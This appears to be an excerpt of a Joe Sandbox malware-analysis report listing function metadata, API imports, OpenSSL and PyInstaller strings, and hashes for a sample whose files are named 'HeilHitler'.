Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: getnameinfohtons
String ID: $..\s\crypto\bio\b_addr.c
API String ID: 1503050688-1606403076
Opcode ID: b69e7613c5b0375f733938ffa7987aef18c604bb2f14d9f82ce55754868d6c3f
Instruction ID: 1107d9d858874b926384c3682e7c38e57cef13016523e848d136273e00d04284
Opcode Fuzzy Hash: b69e7613c5b0375f733938ffa7987aef18c604bb2f14d9f82ce55754868d6c3f
Instruction Fuzzy Hash: 2451D222B1AB8385FB249B11D820AB973A1EF51788F444135FBAE476EDDF3DE9419700

Function 00007FFDFAF43841 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

Strings

J, xrefs: 00007FFDFB009C95
host=, xrefs: 00007FFDFB009D0E
..\s\crypto\bio\b_sock.c, xrefs: 00007FFDFB009C1A, 00007FFDFB009C9D

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID:
String ID: ..\s\crypto\bio\b_sock.c$J$host=
API String ID: 0-1729655730
Opcode ID: 31c7aae0c6204fcaae541c015ea13e20bcfa82d779c5bb0f8b846d03ff15bf19
Instruction ID: a098da8ff921f157aea59a0ed32bb914f32103b35cf6b101f7cc1169ccc73b3e
Opcode Fuzzy Hash: 31c7aae0c6204fcaae541c015ea13e20bcfa82d779c5bb0f8b846d03ff15bf19
Instruction Fuzzy Hash: E2316F36B0858382EB14DB59E461969A360FF85794F440135FEAC47BEEDF3DD6408B00

Function 00007FF633D67E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF633D6352C,?,00000000,00007FF633D63F1B), ref: 00007FF633D67F32

Strings

%.*s, xrefs: 00007FF633D67EEB
\, xrefs: 00007FF633D67E97
%s%c, xrefs: 00007FF633D67EA4

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction ID: 1bc1189d81329e79b0f594df65f4b7a7ddf4bfb33ccbd971c0db40d7ffe78eff
Opcode Fuzzy Hash: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction Fuzzy Hash: B031E621619AC645FA219B61E8127AA7358EF84BE4F800331FE7D977C9EF3CD6059700

Function 00007FF633D62810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF633D628EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF633D62868
ERROR, xrefs: 00007FF633D6286F
Error, xrefs: 00007FF633D628DD

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: cb4500abcac2290a2ecdb12b620301205265b60e94a368f1fe62eb829fa546cd
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: DC21F772708B4191E7109B94F8467EA7360FB88784F805236EE8DA7756DF3CD255D740

Function 00007FFDFAF41C76 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0F647A

Strings

X9.42 DH PARAMETERS, xrefs: 00007FFDFB0F6469
..\s\crypto\pem\pem_pkey.c, xrefs: 00007FFDFB0F64A4, 00007FFDFB0F64C9, 00007FFDFB0F64E0
DH PARAMETERS, xrefs: 00007FFDFB0F642B

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: 00007B5630
String ID: ..\s\crypto\pem\pem_pkey.c$DH PARAMETERS$X9.42 DH PARAMETERS
API String ID: 2248877218-3633731555
Opcode ID: 3ba81f49d5ceb9f4a6875a9e5438a20396f096326d0a69e27fc56574318964df
Instruction ID: f6d6f84cf84ee2acc74d58e90d127309f880433175ed186ab151b04d6e5563fe
Opcode Fuzzy Hash: 3ba81f49d5ceb9f4a6875a9e5438a20396f096326d0a69e27fc56574318964df
Instruction Fuzzy Hash: 7021A122F09A8781EB10DB55E4209AAA764FF857A8F404131FA9C47BEDEF7DE154CB00

Function 00007FFDFAF4139D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFDFB00AA50
WSAGetLastError.WS2_32 ref: 00007FFDFB00AA5B

Strings

2, xrefs: 00007FFDFB00AA85
..\s\crypto\bio\b_sock2.c, xrefs: 00007FFDFB00AA71, 00007FFDFB00AA8D

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ErrorLastsocket
String ID: ..\s\crypto\bio\b_sock2.c$2
API String ID: 1120909799-2051290508
Opcode ID: 2ef5472a3713315c0ebdeb3789e1964bedc6f77517e54092a2e54a431cd722de
Instruction ID: 216444f340ece2a041aa93e494aad43fcf367d00912d2fd3bce3321f3556390d
Opcode Fuzzy Hash: 2ef5472a3713315c0ebdeb3789e1964bedc6f77517e54092a2e54a431cd722de
Instruction Fuzzy Hash: DC01AD32B1858382E3109B25E4109AD72A0FF41BA8F604235FA7C47AEDCF3DEA01D740

Function 00007FF633D7C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF633D7C61F
WriteFile.KERNEL32 ref: 00007FF633D7C8E7
WriteFile.KERNEL32 ref: 00007FF633D7C92D
GetLastError.KERNEL32 ref: 00007FF633D7C9E3

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 4011ab1016f224084199e4224510aeb5237c71053e27409bc8eec7eb2664b866
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: A9D1FEB2B18A818EE750CFA5D4412AC37B1FB54B98B444336DE5EA7B99DF38E116D300

Function 00007FF633D7CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF633D7CF4B), ref: 00007FF633D7D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF633D7CF4B), ref: 00007FF633D7D107

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 2c5950925b83d471098b633555e2b176a57b7e2ae5c35f46bfe30bf5c18bcbd7
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: DA91D772F1865189F7609FA594422BD2BA0BB44B88F545339DE0EB7B98DF3CE446E700

Function 00007FFDFAF42DEC Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFDFB0AA380

Strings

unknown, xrefs: 00007FFDFB0AA3B3, 00007FFDFB0AA47A
Operation not permitted, xrefs: 00007FFDFB0AA374

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID: Operation not permitted$unknown
API String ID: 1452528299-31098287
Opcode ID: 98fd99213be571fb8821e332285a7a3172dfad59924788fedf6360fac81b26b1
Instruction ID: 696d99d52c5d6ec4aaf27369f5cfd9aff575998e0b6f568fc759199f7b88c56e
Opcode Fuzzy Hash: 98fd99213be571fb8821e332285a7a3172dfad59924788fedf6360fac81b26b1
Instruction Fuzzy Hash: 1A815B21F0A6438AFB509B14E874BBA23A9FF85794F440531E96E8B2EDDF7DE5419300

Function 00007FF633D7F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF633D7FA7C
_get_daylight.LIBCMT ref: 00007FF633D7FA8D
_get_daylight.LIBCMT ref: 00007FF633D7FA9E
_isindst.LIBCMT ref: 00007FF633D7FB69

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 546747b20ff5b2b5e960a0ff4e953700f2f0f40efcb574949882fd7f3944177b
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 7851C872F042118AFB24DFE4D9666BC2769AF44369F500336DD2DAABE5DF38A402D700

Function 00007FF633D7577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF633D757AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF633D75811
GetLastError.KERNEL32 ref: 00007FF633D758A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF633D756B4), ref: 00007FF633D758EE

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: b22458fa52191d5120275d4ec9f9ea44465807ec3a701729560ee272b97e6bff
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 5951AD22E086418AFB10CFB1D4523BD37A2AB48B58F149639DE4DAB789DF38E4819341

Function 00007FF633D620C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF633D620F4
SetWindowLongPtrW.USER32 ref: 00007FF633D62116
GetWindowLongPtrW.USER32 ref: 00007FF633D62140
InvalidateRect.USER32 ref: 00007FF633D62160

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: db1a6162a4bccb09ad1e453a8e51b53c1fea1e654d6ff293ae719b6ed9fb63b5
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 6911E921A0C54682F65487E9E5472796251EB88780FC45230DF6D97B9ACD2DE5D5A200

Function 00007FF633D6D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF633D6D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF633D6D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF633D6D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF633D6D066

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 5704a215172bdf63649cad887ea3bb25f62a818bf907f5455577448c1c61c217
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 26112E22B14F05CAEB00CFA0E8552B933A4FB59758F441F31DA6D967A4EF7CE1649340

Function 00007FFDFAE8177B Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 433COMMON

Download Yara Rule

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFDFAEC36BD
, xrefs: 00007FFDFAEC30B8

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID:
String ID: $..\s\ssl\statem\extensions_srvr.c
API String ID: 0-1533168471
Opcode ID: bde783c250a104db30411a64944c1f6e3a051b34ae996dae0ae81df1dc00d0eb
Instruction ID: 9fbf5cadc4c249d9ed194d990ca1e404f2901719b24033300faab22521c874fb
Opcode Fuzzy Hash: bde783c250a104db30411a64944c1f6e3a051b34ae996dae0ae81df1dc00d0eb
Instruction Fuzzy Hash: 4C12A161B0864341EB68FB21D464EBEA7A0EF90788F454071EA7F4A6D9DF3ED645CB00

Function 00007FFDFAD611D0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

00007FFDFB4F767C.PYTHON310 ref: 00007FFDFAD6135D

Strings

_/yZ_&, xrefs: 00007FFDFAD611E1

Memory Dump Source

Source File: 00000001.00000002.2033758431.00007FFDFAD61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAD60000, based on PE: true

Associated: 00000001.00000002.2033713501.00007FFDFAD60000.00000002.00000001.01000000.00000013.sdmpDownload File
